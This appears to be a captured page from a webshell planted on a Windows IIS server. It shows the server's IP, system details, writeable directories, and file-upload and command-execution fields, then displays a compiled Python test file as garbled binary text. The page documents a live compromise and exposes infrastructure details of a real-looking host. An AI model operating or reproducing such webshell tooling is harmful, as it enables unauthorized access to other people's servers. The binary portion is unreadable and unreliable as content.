403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_baseexception.cpython-313.opt-1.pyc
�

��i ���SSKrSSKrSSKrSSKJr "SS\R5r"SS\R5r\	S:Xa\R"5 gg)�N)�systemc�L�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
Srg
)�ExceptionClassTests�zYTests for anything relating to exception objects themselves (e.g.,
inheritance hierarchy)c�J�UR[[[55 g�N)�
assertTrue�
issubclass�	Exception�object��selfs �,C:\Python313\\Lib\test\test_baseexception.py�test_builtins_new_style�+ExceptionClassTests.test_builtins_new_styles�����
�9�f�5�6�c��SH:nUR[X5URR<SU<S35 M< g)N)�args�__str__�__repr__z	 missing z
 attribute)r	�hasattr�	__class__�__name__)r�ins�attrs   r�verify_instance_interface�-ExceptionClassTests.verify_instance_interfaces3��3�D��O�O�G�C�.����/�/��7�
8�4rc�|�[5n[RR5H6n[	U[
5(aUR
UR5 M6M8 [[RR[RR[5SS5SS9nUR5R!5n[#[U5nUR)XASU-5 UR+U5 /nSnUGHknUR!5nUR-S5n	X�S-Sn
S	U
;aAU
R/S	5nX�S
-SnU
SUS
-
n
[15U:waUR+U
5 MsSU
;aU
R/S5n
U
SU
S
-
n
[#[U
5nXy:aUR3UW45 O/Xy:�a*USSU	:�aUR55 USSU	:�aMUR7[	WUSS
5UR<SUSS
R<35 UR9U"55 UR)X�5 UR+U
5 UnU	nGMn UR;5 [SU55nUR=[?U5SSU-5 g![a GM�f=f![$a UR'SU-5 GNf=f![$a UR'S
U
-5 GNgf=f![a N�f=f!UR;5 f=f)Nrzexception_hierarchy.txtzutf-8)�encodingzbase class %s not a built-inz%s not foundu─��(�����[z%s not a built-in exceptionz is not a subclass of c3�T# �UHoRS5(aMUv� M  g7f)�_N)�
startswith)�.0�es  r�	<genexpr>�7ExceptionClassTests.test_inheritance.<locals>.<genexpr>Ss���B��A���S�0A�a�a��s�(�	(z%s not accounted for) �set�builtins�__dict__�valuesr
�
BaseException�addr�	TypeError�open�os�path�join�split�__file__�readline�rstrip�getattr�AttributeError�fail�assertIn�discard�rindex�index�platform_system�append�popr	r�close�assertEqual�len)r�exc_set�object_�inheritance_tree�superclass_name�last_exc�superclasses�
last_depth�exc_line�depth�exc_name�paren_index�
platform_name�left_bracket�excs               r�test_inheritance�$ExceptionClassTests.test_inheritances���%���(�(�/�/�1�G�
��g�}�5�5��K�K�� 0� 0�1�6�2� ������R�W�W�]�]�8�4�Q�7�9R�S� �"��.	%�.�7�7�9�@�@�B�O�
L�"�8�_�=��
�M�M�/�(�?�:�
<��O�O�O�,��L��J�,��#�?�?�,�� ����.��#�!�G�H�-���(�?�"*�.�.��"5�K�$,��]�2�$>�M�'���Q��7�H�&�(�M�9�����1� ��(�?�#+�>�>�#�#6�L�'���a��8�H�H�!�(�H�5�C��%� �'�'��X�(>�?��'�&�r�*�1�-��6�$�(�(�*�'�r�*�1�-��6����
�3��R�0@��0C� D�03��� ��$�Q�'�0�0�2�3���2�2�3�5�9��
�
�h�0�����)���"�
�C-�F
�"�"�$��B��B�B������W��q�*@�7�*J�K��q�
��
��"�
L��	�	�8�?�J�K�
L��.&�H��I�I�;�h�F�G�H��!�����
�"�"�$�s��0J=�0L)�K�B>L)�K4�.AL)�6AL)�:L�+L)�=
K�K�K1�-L)�0K1�1L)�4L�L)�L�L)�
L&�#L)�%L&�&L)�)L;)�lengthr�str�reprc
��[URU5H%unup4URX4U<SU<SU<35 M' g)Nz: z != )�zip�interface_testsrF)r�results�	test_name�given�expecteds     r�interface_test_driver�)ExceptionClassTests.interface_test_driverXs>��,/��0D�0D�g�,N�(�I�(�����U�	��x�/!�
"�-Orc�
�Sn[U5n[UR5S/URSU/[U5[U5/[	U5UR
R<SU<S3/4nURU5 g)N�spamr"rr!�))rrGrrYrZrrrb)r�argrUr^s    r�test_interface_single_arg�-ExceptionClassTests.test_interface_single_arg]sr������n������M�1�%������S�'9���H�c�#�h�'�
�#�Y�C�M�M�$:�$:�C�@�A�C��	
�"�"�7�+rc�B�Sn[[U55n[U6n[UR5U/URU/[U5[U5/[
U5URR[
UR5-/4nURU5 g)N�)
�tuple�rangerrGrrYrZrrrb)r�	arg_countrrUr^s     r�test_interface_multi_arg�,ExceptionClassTests.test_interface_multi_argfs����	��U�9�%�&����������M�9�-����$�/?��S��3�t�9�%��c��C�M�M�2�2�T�#�(�(�^�C�D�F��	
�"�"�7�+rc���[5n[UR5S/UR[5/[	U5S/[U5URRS-/4nURU5 g)Nr�z())	rrGrrlrYrZrrrb)rrUr^s   r�test_interface_no_arg�)ExceptionClassTests.test_interface_no_argpsc���k������M�1�%����%�'�':��S��2���c��C�M�M�2�2�T�9�:�<��	
�"�"�7�+rc��^�SSKn0m"U4SjS[5n"SS[5n[5nU"5TU"5'URT5 UR	5 g)Nrc�4>^�\rSrSrS\4UU4SjjrSrU=r$)�XExceptionClassTests.test_setstate_refcount_no_crash.<locals>.HashThisKeyWillClearTheDict�}�returnc�@>�TR5 [TU]	5$r)�clear�super�__hash__)rr�ds ��rr}�aExceptionClassTests.test_setstate_refcount_no_crash.<locals>.HashThisKeyWillClearTheDict.__hash__~s������	��w�'�)�)r�)r�
__module__�__qualname__�__firstlineno__�intr}�__static_attributes__�
__classcell__)rr~s@�r�HashThisKeyWillClearTheDictrw}s���
*�#�
*�
*rr�c��\rSrSrSrg)�BExceptionClassTests.test_setstate_refcount_no_crash.<locals>.Value�r�N�rr�r�r�r�r�rr�Valuer�����rr�)�gcrYr�__setstate__�collect)rr�r�r�rUr~s     @r�test_setstate_refcount_no_crash�3ExceptionClassTests.test_setstate_refcount_no_crashxsW���	���	*�#�	*�	�C�	��k��+0�7��
%�
'�(�	�����	�
�
�rr�N)rr�r�r��__doc__rrrVr]rbrhrorsr�r�r�rrrrs8���7�8�?L�B8�O�"�
,�,�,�rrc�B�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)�
UsageTests�zTest usage of exceptionsc�(�Ue![a gf=f)z6Make sure that raising 'object_' triggers a TypeError.N)r2r=�type�rrIs  r�raise_fails�UsageTests.raise_fails�s��	��M���	��	�s��
�c�N�[e!Ua
 [ef=f![a
 [e[a' URS[U5-5 [ef=f!U4a gf=f![a g[a  URS[U5-5 gf=f)z,Catching 'object_' should raise a TypeError.z#TypeError expected when catching %sNz;TypeError expected when catching %s as specified in a tuple)rr2r=r�r�s  r�catch_fails�UsageTests.catch_fails�s���	M�
�����
��		1�
���
���	��		1�
����	M��I�I�;�d�7�m�K�L�		1�
���	M���:�
��
���	���	1��I�I� �"&�w�-�0�
1�	1�s^�	���A"���
A�A"�&A�A"�A�"A,�)A/�+A,�,A/�/
B$�;&B$�#B$c�p�"SS[5nURU5 URU"55 g)Nc��\rSrSrSrg)�DUsageTests.test_raise_new_style_non_exception.<locals>.NewStyleClass�r�Nr�r�rr�
NewStyleClassr��r�rr�)rr�)rr�s  r�"test_raise_new_style_non_exception�-UsageTests.test_raise_new_style_non_exception�s,��
	�F�	�����'������)rc�&�URS5 g�Nre)r�r
s r�test_raise_string�UsageTests.test_raise_string�������� rc�p�"SS[5nURU5 URU"55 g)Nc��\rSrSrSrg)�AUsageTests.test_catch_non_BaseException.<locals>.NonBaseException��r�Nr�r�rr�NonBaseExceptionr��r�rr�)rr�)rr�s  r�test_catch_non_BaseException�'UsageTests.test_catch_non_BaseException�s/��	�v�	����)�*����)�+�,rc�6�UR[55 gr)r�r0r
s r�!test_catch_BaseException_instance�,UsageTests.test_catch_BaseException_instance�s�������)rc�&�URS5 gr�)r�r
s r�test_catch_string�UsageTests.test_catch_string�r�rr�N)
rr�r�r�r�r�r�r�r�r�r�r�r�r�rrr�r��s)��"�G�1�.*�!�-�*�!rr��__main__)�unittestr-r4�platformrrB�TestCaserr�r�mainr�rr�<module>r�sQ����	�.�G�(�+�+�G�T?!��"�"�?!�D�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit